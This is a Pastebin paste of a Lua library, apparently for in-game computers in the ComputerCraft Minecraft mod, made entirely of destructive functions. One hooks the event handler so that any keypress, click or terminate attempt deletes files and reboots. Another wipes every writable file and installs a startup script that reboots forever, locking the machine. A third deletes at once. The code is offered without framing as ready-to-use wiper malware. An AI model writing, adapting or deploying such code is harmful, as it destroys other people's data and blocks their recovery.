Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #LIB()
- local nativepullEvent = os.pullEventRaw
- return
- {
- #BEGINFUNCTION()
- #FUNCTION(callbackAnyContact)
- callbackAnyContact = function(fCallback)
- nativepullEvent = os.pullEventRaw
- os.pullEventRaw = function(...)
- local tpEvent = { nativepullEvent(...) }
- if tpEvent[1] == "char" or
- tpEvent[1] == "key" or
- tpEvent[1] == "key_up" or
- tpEvent[1] == "mouse_click" or
- tpEvent[1] == "mouse_up" or
- tpEvent[1] == "terminate" then
- fCallback()
- end
- return table.unpack(tpEvent)
- end
- end,
- #FUNCTION(fullDestroy)
- fullDestroy = function()
- for _, sFile in pairs(fs.list("")) do
- if not fs.isReadOnly(sFile) then
- fs.delete(sFile)
- end
- end
- if settings then
- settings.set("shell.allow_disk_startup", false)
- settings.set("shell.allow_startup", true)
- end
- fs.open("startup", "w")
- fs.write(
- [[
- os.pullEvent = function()
- os.reboot()
- end
- while true do
- coroutine.yield()
- end
- ]])
- fs.close()
- os.reboot()
- end,
- #FUNCTION(onAnyContact)
- onAnyContact = function(fileDestination)
- nativepullEvent = os.pullEventRaw
- os.pullEventRaw = function(...)
- local tpEvent = { nativepullEvent(...) }
- if tpEvent[1] == "char" or
- tpEvent[1] == "key" or
- tpEvent[1] == "key_up" or
- tpEvent[1] == "mouse_click" or
- tpEvent[1] == "mouse_up" or
- tpEvent[1] == "terminate" then
- if type(fileDestination) == "string" then
- if fileDestination == "all" then
- fileDestination = fs.list("")
- else
- fileDestination = { fileDestination }
- end
- elseif fileDestination == nil then
- fileDestination = fs.list("")
- end
- for _, sFile in pairs(fileDestination) do
- if fs.exists(sFile) and not fs.isReadOnly(sFile) then
- fs.delete(sFile)
- end
- end
- os.pullEventRaw = nativepullEvent
- os.reboot()
- end
- return table.unpack(tpEvent)
- end
- end,
- #FUNCTION(now)
- now = function(fileDestination)
- if type(fileDestination) == "string" then
- if fileDestination == "all" then
- fileDestination = fs.list("")
- else
- fileDestination = { fileDestination }
- end
- end
- for _, sFile in pairs(fileDestination) do
- if fs.exists(sFile) and not fs.isReadOnly(sFile) then
- fs.delete(sFile)
- end
- end
- os.pullEventRaw = nativepullEvent
- os.reboot()
- end
- #ENDFUNCTION()
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement